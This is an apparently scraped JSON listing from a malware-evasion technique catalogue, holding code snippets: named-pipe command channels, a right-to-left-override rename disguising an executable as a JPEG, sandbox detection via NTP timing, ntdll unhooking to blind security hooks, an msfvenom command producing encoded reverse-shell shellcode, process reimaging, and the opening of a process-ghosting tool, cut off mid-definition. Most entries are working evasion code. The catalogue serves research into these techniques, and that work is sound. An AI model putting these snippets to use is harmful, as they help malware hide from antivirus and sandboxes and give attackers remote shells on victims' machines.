"description": "This code snippet demonstrates how to use named pipes on Windows through the WinAPI. The Proof of Concept (PoC) emphasizes sending Unicode string character by character until the CRLF, with each character taking up 2 bytes. While there are various methods to achieve a similar outcome, this particular approach has its own set of advantages and disadvantages. Feel free to modify the example to suit your specific needs.",
"plain_code": "// This PoC does not handle exceptions, consider handling exception if used it in production.\r\nprogram NamedPipes;\r\n\r\nuses Winapi.Windows,\r\n System.SysUtils,\r\n System.Classes;\r\n\r\nconst PIPE_NAME = 'NamedPipeExample';\r\n SERVER_MACHINE_NAME = '.'; // `.` = Local Machine\r\n\r\nvar SERVER_LISTENING_EVENT : THandle;\r\n\r\nType\r\n TCommand = (\r\n cmdPing,\r\n cmdPong,\r\n cmdExit\r\n );\r\n\r\n TServer = class(TThread)\r\n protected\r\n {@M}\r\n procedure Execute(); override;\r\n end;\r\n\r\n TClient = class(TThread)\r\n protected\r\n {@M}\r\n procedure Execute(); override;\r\n end;\r\n\r\n(* Local *)\r\n\r\n{ _.PIPE_WriteInteger\r\n Write to named pipe a signed integer (4 bytes), since in our example, named pipe has\r\n a buffer of 2 bytes, we must split our signed integer to two words }\r\nprocedure PIPE_WriteInteger(const hPipe : THandle; const AValue : Integer);\r\nvar wLow, wHigh : Word;\r\n ABytesWritten : Cardinal;\r\nbegin\r\n wLow := Word(AValue and $FFFF);\r\n wHigh := Word(AValue shr 16);\r\n ///\r\n\r\n WriteFile(hPipe, wLow, SizeOf(Word), ABytesWritten, nil);\r\n WriteFile(hPipe, wHigh, SizeOf(Word), ABytesWritten, nil);\r\nend;\r\n\r\n{ _.PIPE_ReadInteger\r\n Reconstruct signed integer from two words }\r\nfunction PIPE_ReadInteger(const hPipe : THandle) : Integer;\r\nvar wLow, wHigh : Word;\r\n dwBytesRead : Cardinal;\r\nbegin\r\n result := -1;\r\n ///\r\n\r\n ReadFile(hPipe, wLow, SizeOf(Word), dwBytesRead, nil);\r\n ReadFile(hPipe, wHigh, SizeOf(Word), dwBytesRead, nil);\r\n\r\n ///\r\n result := wLow or (wHigh shl 16);\r\nend;\r\n\r\n{ _.PIPE_WriteLine\r\nWrite to NamedPipe and append a CRLF to signify end of buffer }\r\nprocedure PIPE_WriteLine(const hPipe : THandle; AMessage : String);\r\nvar ABytesWritten : Cardinal;\r\n i : Cardinal;\r\nbegin\r\n AMessage := Trim(AMessage) + #13#10;\r\n ///\r\n\r\n for I := 1 to Length(AMessage) do begin\r\n // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile?WT_mc_id=SEC-MVP-5005282\r\n if not WriteFile(\r\n hPipe,\r\n AMessage[I],\r\n SizeOf(WideChar),\r\n ABytesWritten,\r\n nil\r\n ) then\r\n break;\r\n end;\r\nend;\r\n\r\n{ _.PIPE_ReadLine\r\nRead NamedPipe Buffer until CRLF is reached }\r\nfunction PIPE_ReadLine(const hPipe : THandle) : String;\r\nvar ABuffer : WideChar;\r\n dwBytesRead : Cardinal;\r\n CR : Boolean;\r\n LF : Boolean;\r\nbegin\r\n result := '';\r\n ///\r\n\r\n CR := False;\r\n LF := False;\r\n\r\n while True do begin\r\n // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile?WT_mc_id=SEC-MVP-5005282\r\n if not ReadFile(hPipe, ABuffer, SizeOf(ABuffer), dwBytesRead, nil) then\r\n break;\r\n\r\n case ABuffer of\r\n #13 : CR := True;\r\n #10 : LF := True;\r\n end;\r\n\r\n if CR and LF then\r\n break;\r\n\r\n ///\r\n result := result + ABuffer;\r\n end;\r\nend;\r\n\r\n(* TServer *)\r\n\r\n{ TServer.Execute }\r\nprocedure TServer.Execute();\r\nvar hPipe : THandle;\r\nbegin\r\n hPipe := INVALID_HANDLE_VALUE;\r\n try\r\n // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createnamedpipew?WT_mc_id=SEC-MVP-5005282\r\n hPipe := CreateNamedPipeW(\r\n PWideChar(Format('\\\\.\\pipe\\%s', [PIPE_NAME])),\r\n PIPE_ACCESS_DUPLEX,\r\n PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT,\r\n 1,\r\n SizeOf(WideChar),\r\n SizeOf(WideChar),\r\n NMPWAIT_USE_DEFAULT_WAIT,\r\n nil\r\n );\r\n\r\n if hPipe = INVALID_HANDLE_VALUE then\r\n Exit();\r\n\r\n SetEvent(SERVER_LISTENING_EVENT); // Signal we are listening for named pipe client\r\n\r\n while (not Terminated) do begin\r\n // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe?WT_mc_id=SEC-MVP-5005282\r\n if not ConnectNamedPipe(hPipe, nil) then\r\n continue;\r\n try\r\n while (not Terminated) do begin\r\n case TCommand(PIPE_ReadInteger(hPipe)) of\r\n cmdPing : PIPE_WriteLine(hPIpe, Format('Pong: %d', [GetTickCount()]));\r\n\r\n else begin\r\n WriteLn('Bye!');\r\n\r\n break;\r\n end;\r\n end;\r\n end;\r\n\r\n WriteLn(PIPE_ReadLine(hPipe));\r\n finally\r\n // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe?WT_mc_id=SEC-MVP-5005282\r\n DisconnectNamedPipe(hPipe);\r\n end;\r\n end;\r\n finally\r\n if hPipe <> INVALID_HANDLE_VALUE then\r\n // https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle?WT_mc_id=SEC-MVP-5005282\r\n CloseHandle(hPipe);\r\n\r\n ///\r\n ExitThread(0);\r\n end;\r\nend;\r\n\r\n(* TClient *)\r\n\r\n{ TClient.Execute\r\n\r\n An alternative to CreateFileW + WriteFile would be to use:\r\n - https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-callnamedpipew?WT_mc_id=SEC-MVP-5005282\r\n}\r\nprocedure TClient.Execute();\r\nvar hPipe : THandle;\r\nbegin\r\n hPipe := INVALID_HANDLE_VALUE;\r\n try\r\n // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew?WT_mc_id=SEC-MVP-5005282\r\n hPipe := CreateFileW(\r\n PWideChar(Format('\\\\%s\\pipe\\%s', [\r\n SERVER_MACHINE_NAME,\r\n PIPE_NAME\r\n ])),\r\n GENERIC_READ or GENERIC_WRITE,\r\n 0,\r\n nil,\r\n OPEN_EXISTING,\r\n 0,\r\n 0\r\n );\r\n\r\n if hPipe = INVALID_HANDLE_VALUE then\r\n Exit();\r\n\r\n PIPE_WriteInteger(hPipe, Integer(TCommand.cmdPing));\r\n\r\n WriteLn(PIPE_ReadLine(hPipe));\r\n\r\n PIPE_WriteInteger(hPipe, Integer(TCommand.cmdExit));\r\n finally\r\n if hPipe <> INVALID_HANDLE_VALUE then\r\n // https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle?WT_mc_id=SEC-MVP-5005282\r\n CloseHandle(hPipe);\r\n\r\n ///\r\n ExitThread(0);\r\n end;\r\nend;\r\n\r\n(* _.EntryPoint *)\r\n\r\nvar Server : TServer;\r\n Client : TClient;\r\n\r\nbegin\r\n AllocConsole();\r\n ///\r\n\r\n // Create a event to signal when named pipe server is successfully listening for\r\n // Namedpipe clients.\r\n // When event is signaled, we can start our named pipe client thread.\r\n SERVER_LISTENING_EVENT := CreateEvent(nil, False, False, nil);\r\n if SERVER_LISTENING_EVENT = 0 then\r\n Exit();\r\n try\r\n // Launch NamedPipe Server\r\n Server := TServer.Create();\r\n\r\n ///\r\n WaitForSingleObject(SERVER_LISTENING_EVENT, INFINITE);\r\n finally\r\n CloseHandle(SERVER_LISTENING_EVENT);\r\n end;\r\n\r\n // Launch NamedPipe Client\r\n Client := TClient.Create();\r\n\r\n // Wait for Threads end\r\n Client.WaitFor();\r\n Server.WaitFor();\r\n\r\nend."
},
{
"id": 205,
"language": {
"id": 9,
"label": "C#",
"code_class": "csharp"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/357/?format=api",
"description": "This code snippet demonstrates how to use Named Pipes in .NET for sending commands and receiving their results. In this example, the named pipe client requests a list of running processes from the named pipe server, which then returns the requested list. It's important to note that this snippet combines both the client and server code for demonstration purposes. In a real-world scenario, the client and server should be separated into two distinct applications and preferably run on two remote systems.",
"plain_code": "// This example demonstrates how to use named pipes to route commands to a server and retrieve the corresponding responses.\r\n\r\nusing System.Diagnostics;\r\nusing System.IO.Pipes;\r\nusing System.Text;\r\n\r\nclass Program\r\n{\r\n public enum Command\r\n {\r\n ProcessList,\r\n Exit,\r\n }\r\n\r\n const string pipeName = \"NamedPipeExample\";\r\n\r\n public static void Main(string[] args)\r\n { \r\n Thread namedPipeServerThread = new(() =>\r\n {\r\n try\r\n {\r\n // https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeserverstream?view=net-7.0?WT_mc_id=SEC-MVP-5005282\r\n using NamedPipeServerStream serverPipe = new(pipeName, PipeDirection.InOut);\r\n\r\n serverPipe.WaitForConnection();\r\n\r\n using StreamReader reader = new(serverPipe);\r\n using StreamWriter writer = new(serverPipe) { AutoFlush = true };\r\n ///\r\n\r\n while (true)\r\n {\r\n switch(Enum.Parse(typeof(Command), reader.ReadLine() ?? \"\"))\r\n {\r\n case Command.ProcessList:\r\n {\r\n StringBuilder sb = new();\r\n\r\n foreach (Process process in Process.GetProcesses()) \r\n sb.AppendLine($\"({process.Id.ToString().PadRight(5, ' ')}){process.ProcessName}\");\r\n \r\n // Encode as Base64 to send to whole list in one single `WriteLine`\r\n writer.WriteLine(Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(sb.ToString())));\r\n\r\n break;\r\n }\r\n default:\r\n {\r\n // Exit or unknown or empty string.\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n catch { }\r\n });\r\n namedPipeServerThread.Start();\r\n\r\n Thread namedPipeClientThread = new(() =>\r\n {\r\n try\r\n {\r\n // `.` means local machine, it can be replaced by the network computer name hosting a the named pipe server.\r\n // https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeclientstream?view=net-7.0?WT_mc_id=SEC-MVP-5005282\r\n using NamedPipeClientStream clientPipe = new(\".\", pipeName, PipeDirection.InOut);\r\n\r\n clientPipe.Connect();\r\n\r\n using StreamReader reader = new(clientPipe);\r\n using StreamWriter writer = new(clientPipe) { AutoFlush = true };\r\n ///\r\n\r\n // Ask server for running process\r\n writer.WriteLine(Command.ProcessList);\r\n\r\n // Receive response\r\n string? response = reader.ReadLine(); \r\n if (response != null)\r\n Console.WriteLine(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(response))); \r\n\r\n // Tell server, we finished our job\r\n writer.WriteLine(Command.Exit);\r\n }\r\n catch { }\r\n });\r\n namedPipeClientThread.Start();\r\n\r\n ///\r\n namedPipeServerThread.Join();\r\n namedPipeClientThread.Join(); \r\n }\r\n}"
},
{
"id": 204,
"language": {
"id": 8,
"label": "PowerShell",
"code_class": "powershell"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/356/?format=api",
"description": "In this example `malware.exe` becomes `Annexe.jpeg` but keeps its executable properties.",
"plain_code": "Rename-Item -Path malware.exe -NewName (\"Ann\" + ( [char]0x202E) + \"gepj.exe\")"
},
{
"id": 203,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/349/?format=api",
"description": "",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"time\"\r\n\t\"net\"\r\n\t\"encoding/binary\"\r\n\t\"net/http\"\r\n\t\"fmt\"\r\n\t\"math\"\r\n)\r\n\r\nfunc isConnected() bool {\r\n\t_, err := http.Get(\"http://1.1.1.1\")\r\n\tif err == nil {\r\n\t\treturn true\r\n\t}\r\n\treturn false\r\n}\r\n\r\nfunc getNtpTime() time.Time {\r\n\ttype ntp struct {\r\n\t\tFirstByte, A, B, C uint8\r\n\t\tD, E, F uint32\r\n\t\tG, H uint64\r\n\t\tReceiveTime uint64\r\n\t\tJ uint64\r\n\t}\r\n\tsock, _ := net.Dial(\"udp\", \"us.pool.ntp.org:123\")\r\n\tsock.SetDeadline(time.Now().Add((2 * time.Second)))\r\n\tdefer sock.Close()\r\n\ttransmit := new(ntp)\r\n\ttransmit.FirstByte = 0x1b\r\n\tbinary.Write(sock, binary.BigEndian, transmit)\r\n\tbinary.Read(sock, binary.BigEndian, transmit)\r\n\treturn time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((transmit.ReceiveTime >> 32) * 1000000000)))\r\n}\r\n\r\nfunc evadeTimeAcceleration() bool {\r\n\tvar maxIdleTime int = 3\r\n\r\n\tif isConnected() {\r\n\t\tfirstTime := getNtpTime()\r\n\t\ttime.Sleep(time.Duration(maxIdleTime*1000) * time.Millisecond)\r\n\t\tsecondTime := getNtpTime()\r\n\r\n\t\tif secondTime.Sub(firstTime).Seconds() > float64(maxIdleTime) {\r\n\t\t\treturn true\r\n\t\t}\r\n\t} else {\r\n\t\tfirstTime := time.Now()\r\n\t\ttime.Sleep(time.Duration(maxIdleTime*1000) * time.Millisecond)\r\n\r\n\t\t// math.Floor is used to compensate for processor ticks that is a few micro-seconds\r\n\t\tif math.Floor(time.Since(firstTime).Seconds()) > float64(maxIdleTime) {\r\n\t\t\treturn true\r\n\t\t}\r\n\t}\r\n\treturn false\r\n}\r\n\r\nfunc main() () {\r\n\tif evadeTimeAcceleration() {\r\n\t\tfmt.Println(\"Sandbox detected\")\r\n\t} else {\r\n\t\tfmt.Println(\"Sandbox not detected\")\r\n\t}\r\n}"
},
{
"id": 202,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 19,
"username": "External",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/355/?format=api",
"description": "",
"plain_code": "#include \"pch.h\"\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n#include <psapi.h>\r\n\r\n// Source : https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++\r\n\r\nint main()\r\n{\r\n // Get handle to self\r\n\tHANDLE process = GetCurrentProcess();\r\n\tMODULEINFO mi = {};\r\n\r\n // Get handle to ntdll.dll\r\n\tHMODULE ntdllModule = GetModuleHandleA(\"ntdll.dll\");\r\n\r\n // Parse ntdll.dll from disk\r\n\tGetModuleInformation(process, ntdllModule, &mi, sizeof(mi));\r\n\tLPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;\r\n\tHANDLE ntdllFile = CreateFileA(\"c:\\\\windows\\\\system32\\\\ntdll.dll\", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\r\n\tHANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);\r\n\tLPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);\r\n\r\n\tPIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;\r\n\tPIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);\r\n\r\n\tfor (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {\r\n\t\tPIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));\r\n\t\t// Update .text section\r\n\t\tif (!strcmp((char*)hookedSectionHeader->Name, (char*)\".text\")) {\r\n\t\t\tDWORD oldProtection = 0;\r\n\t\t\tbool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);\r\n\t\t\tmemcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);\r\n\t\t\tisProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);\r\n\t\t}\r\n\t}\r\n\r\n\tCloseHandle(process);\r\n\tCloseHandle(ntdllFile);\r\n\tCloseHandle(ntdllMapping);\r\n\tFreeLibrary(ntdllModule);\r\n\r\n\treturn 0;\r\n}"
},
{
"id": 201,
"language": {
"id": 12,
"label": "bash",
"code_class": "bash"
},
"user": {
"id": 29,
"username": "Dreamkinn",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/dreamkinn",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/354/?format=api",
"description": "",
"plain_code": "#!/bin/bash\r\n\r\n# Generate SGN-encoded 32-bit shellcode using msfvenom\r\nmsfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai\r\n\r\n# Generate 64-bit SGN-encoded shellcode using the sgn binary\r\nsgn -a 64 shellcode.bin"
},
{
"id": 200,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 28,
"username": "一半人生",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/TimelifeCzy"
},
"technique": "https://unprotect.it/api/techniques/146/?format=api",
"description": "",
"plain_code": "/*\r\n* Use: process_reimaging.exe x:\\xxx\\bad.exe x:\\xxx\\white.exe\r\n*/\r\n#include <Windows.h>\r\n#include <iostream>\r\n#include <string>\r\n\r\nconst bool CGetCurrentDirectory(std::string& strDirpath)\r\n{\r\n\tchar szModule[1024] = { 0, };\r\n\tGetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));\r\n\tstrDirpath = szModule;\r\n\tif (0 >= strDirpath.size())\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Error\");\r\n\t\treturn 0;\r\n\t}\r\n\tsize_t offset = strDirpath.rfind(\"\\\\\");\r\n\tif (0 >= offset)\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Size < 0\");\r\n\t\treturn 0;\r\n\t}\r\n\tstrDirpath = strDirpath.substr(0, offset + 1);\r\n\treturn true;\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif (argc < 3) {\r\n\t\tstd::cout << \"[-] Parameter Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sBadExePath = argv[1];\r\n\tif (sBadExePath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter badExe Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sWhiteExePath = argv[2];\r\n\tif (sWhiteExePath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter WhiteExe Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// 1. create bad.exe directory && createprocess bad.exe\r\n\tstd::string strCurrentDir = \"\";\r\n\tCGetCurrentDirectory(strCurrentDir);\r\n\tif (strCurrentDir.empty())\r\n\t\tstrCurrentDir = \"C:\\\\Windows\\\\\";\r\n\tconst std::string strBadOldDirPath = (strCurrentDir + \"Bad\").c_str();\r\n\tint res = CreateDirectoryA(strBadOldDirPath.c_str(), NULL);\r\n\tif ((res == 0) && !(GetLastError() == ERROR_ALREADY_EXISTS)) {\r\n\t\tstd::cout << \"[-] Error creating directory: \" << strBadOldDirPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string strBadExeFullPath = (strBadOldDirPath + \"\\\\bad.exe\").c_str();\r\n\tBOOL boolRes = CopyFileA(sBadExePath.c_str(), strBadExeFullPath.c_str(), FALSE);\r\n\tif (!boolRes) {\r\n\t\tstd::cout << \"[-] Could not copy \" << sBadExePath << \" to \" << strBadExeFullPath << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tSTARTUPINFOA si = { sizeof(si) };\r\n\tPROCESS_INFORMATION pi;\r\n\tres = CreateProcessA(NULL, (LPSTR)strBadExeFullPath.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);\r\n\tif (res == 0) {\r\n\t\tDWORD err = GetLastError();\r\n\t\tstd::cout << \"[-] Error creating process: \" << err << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\tif (pi.hProcess) {\r\n\t\tCloseHandle(pi.hProcess);\r\n\t}\r\n\tif (pi.hThread) {\r\n\t\tCloseHandle(pi.hThread);\r\n\t}\r\n\r\n\t// 2. rename bad.exe directory path to new directory\r\n\tconst std::string strNewBadDirFullPath = (strCurrentDir + \".Bad\").c_str();\r\n\tboolRes = MoveFileA(strBadOldDirPath.c_str(), strNewBadDirFullPath.c_str());\r\n\tif (!boolRes) {\r\n\t\tDWORD err = GetLastError();\r\n\t\tstd::cout << \"[-] Failed to move file to hidden directory:\" << err << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// 3. create old bad.exe directory & copy white.exe\r\n\tres = CreateDirectoryA(strBadOldDirPath.c_str(), NULL);\r\n\tif ((res == 0) && !(GetLastError() == ERROR_ALREADY_EXISTS)) {\r\n\t\tstd::cout << \"[-] Error creating directory: \" << strBadOldDirPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tboolRes = CopyFileA(sWhiteExePath.c_str(), strBadExeFullPath.c_str(), FALSE);\r\n\tif (!boolRes) {\r\n\t\tstd::cout << \"[-] Could not copy \" << sBadExePath << \" to \" << strBadOldDirPath << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\treturn 0;\r\n}"
},
{
"id": 199,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 28,
"username": "一半人生",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/TimelifeCzy"
},
"technique": "https://unprotect.it/api/techniques/171/?format=api",
"description": "",
"plain_code": "/*\r\n* Use: process_ghosting.exe x:\\xxx\\payload.dat x:\\xxx\\payload.exe\r\n*/\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n#include <iostream>\r\n#include <string>\r\n#include <atlconv.h>\r\n#include <UserEnv.h>\r\n#pragma comment(lib, \"Ntdll.lib\")\r\n#pragma comment(lib, \"Userenv.lib\")\r\n\r\ntypedef LONG KPRIORITY;\r\n#define GDI_HANDLE_BUFFER_SIZE 34\r\n#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001\r\n#ifndef NT_SUCCESS\r\n\t#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\r\n#endif\r\n\r\ntypedef struct _CURDIR\r\n{\r\n\tUNICODE_STRING DosPath;\r\n\tHANDLE Handle;\r\n\r\n} CURDIR, * PCURDIR;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\r\n{\r\n\tUSHORT Flags;\r\n\tUSHORT Length;\r\n\tULONG TimeStamp;\r\n\tSTRING DosPath;\r\n\r\n} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _PEB_FREE_BLOCK\r\n{\r\n\tstruct _PEB_FREE_BLOCK* Next;\r\n\tULONG Size;\r\n\r\n} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _PEB_\r\n{\r\n\tBOOLEAN InheritedAddressSpace; // These four fields cannot change unless the\r\n\tBOOLEAN ReadImageFileExecOptions; //\r\n\tBOOLEAN BeingDebugged; //\r\n\tBOOLEAN SpareBool; //\r\n\tHANDLE Mutant; // INITIAL_PEB structure is also updated.\r\n\r\n\tPVOID ImageBaseAddress;\r\n\tPPEB_LDR_DATA Ldr;\r\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n\tPVOID SubSystemData;\r\n\tPVOID ProcessHeap;\r\n\tPRTL_CRITICAL_SECTION FastPebLock;\r\n\tPVOID FastPebLockRoutine;\r\n\tPVOID FastPebUnlockRoutine;\r\n\tULONG EnvironmentUpdateCount;\r\n\tPVOID KernelCallbackTable;\r\n\tHANDLE SystemReserved;\r\n\tPVOID AtlThunkSListPtr32;\r\n\tPPEB_FREE_BLOCK FreeList;\r\n\tULONG TlsExpansionCounter;\r\n\tPVOID TlsBitmap;\r\n\tULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE\r\n\tPVOID ReadOnlySharedMemoryBase;\r\n\tPVOID ReadOnlySharedMemoryHeap;\r\n\tPVOID* ReadOnlyStaticServerData;\r\n\tPVOID AnsiCodePageData;\r\n\tPVOID OemCodePageData;\r\n\tPVOID UnicodeCaseTableData;\r\n\r\n\t//\r\n\t// Useful information for LdrpInitialize\r\n\r\n\tULONG NumberOfProcessors;\r\n\tULONG NtGlobalFlag;\r\n\r\n\t//\r\n\t// Passed up from MmCreatePeb from Session Manager registry key\r\n\t//\r\n\r\n\tLARGE_INTEGER CriticalSectionTimeout;\r\n\tULONG HeapSegmentReserve;\r\n\tULONG HeapSegmentCommit;\r\n\tULONG HeapDeCommitTotalFreeThreshold;\r\n\tULONG HeapDeCommitFreeBlockThreshold;\r\n\r\n\t//\r\n\t// Where heap manager keeps track of all heaps created for a process\r\n\t// Fields initialized by MmCreatePeb. ProcessHeaps is initialized\r\n\t// to point to the first free byte after the PEB and MaximumNumberOfHeaps\r\n\t// is computed from the page size used to hold the PEB, less the fixed\r\n\t// size of this data structure.\r\n\t//\r\n\r\n\tULONG NumberOfHeaps;\r\n\tULONG MaximumNumberOfHeaps;\r\n\tPVOID* ProcessHeaps;\r\n\r\n\t//\r\n\t//\r\n\tPVOID GdiSharedHandleTable;\r\n\tPVOID ProcessStarterHelper;\r\n\tPVOID GdiDCAttributeList;\r\n\tPVOID LoaderLock;\r\n\r\n\t//\r\n\t// Following fields filled in by MmCreatePeb from system values and/or\r\n\t// image header. These fields have changed since Windows NT 4.0,\r\n\t// so use with caution\r\n\t//\r\n\r\n\tULONG OSMajorVersion;\r\n\tULONG OSMinorVersion;\r\n\tUSHORT OSBuildNumber;\r\n\tUSHORT OSCSDVersion;\r\n\tULONG OSPlatformId;\r\n\tULONG ImageSubsystem;\r\n\tULONG ImageSubsystemMajorVersion;\r\n\tULONG ImageSubsystemMinorVersion;\r\n\tULONG ImageProcessAffinityMask;\r\n\tULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];\r\n\r\n} PEB_, * PPEB_;\r\n\r\ntypedef enum _FILE_INFORMATION_CLASS_\r\n{\r\n\tFileDirectoryInformation_ = 1,\r\n\tFileFullDirectoryInformation, // 2\r\n\tFileBothDirectoryInformation, // 3\r\n\tFileBasicInformation, // 4 wdm\r\n\tFileStandardInformation, // 5 wdm\r\n\tFileInternalInformation, // 6\r\n\tFileEaInformation, // 7\r\n\tFileAccessInformation, // 8\r\n\tFileNameInformation, // 9\r\n\tFileRenameInformation, // 10\r\n\tFileLinkInformation, // 11\r\n\tFileNamesInformation, // 12\r\n\tFileDispositionInformation, // 13\r\n\tFilePositionInformation, // 14 wdm\r\n\tFileFullEaInformation, // 15\r\n\tFileModeInformation, // 16\r\n\tFileAlignmentInformation, // 17\r\n\tFileAllInformation, // 18\r\n\tFileAllocationInformation, // 19\r\n\tFileEndOfFileInformation, // 20 wdm\r\n\tFileAlternateNameInformation, // 21\r\n\tFileStreamInformation, // 22\r\n\tFilePipeInformation, // 23\r\n\tFilePipeLocalInformation, // 24\r\n\tFilePipeRemoteInformation, // 25\r\n\tFileMailslotQueryInformation, // 26\r\n\tFileMailslotSetInformation, // 27\r\n\tFileCompressionInformation, // 28\r\n\tFileObjectIdInformation, // 29\r\n\tFileCompletionInformation, // 30\r\n\tFileMoveClusterInformation, // 31\r\n\tFileQuotaInformation, // 32\r\n\tFileReparsePointInformation, // 33\r\n\tFileNetworkOpenInformation, // 34\r\n\tFileAttributeTagInformation, // 35\r\n\tFileTrackingInformation, // 36\r\n\tFileIdBothDirectoryInformation, // 37\r\n\tFileIdFullDirectoryInformation, // 38\r\n\tFileValidDataLengthInformation, // 39\r\n\tFileShortNameInformation, // 40\r\n\tFileIoCompletionNotificationInformation, // 41\r\n\tFileIoStatusBlockRangeInformation, // 42\r\n\tFileIoPriorityHintInformation, // 43\r\n\tFileSfioReserveInformation, // 44\r\n\tFileSfioVolumeInformation, // 45\r\n\tFileHardLinkInformation, // 46\r\n\tFileProcessIdsUsingFileInformation, // 47\r\n\tFileMaximumInformation // 48\r\n} FILE_INFORMATION_CLASS_, * PFILE_INFORMATION_CLASS_;\r\n\r\ntypedef struct _FILE_DISPOSITION_INFORMATION {\r\n\tBOOLEAN DeleteFile;\r\n} FILE_DISPOSITION_INFORMATION, * 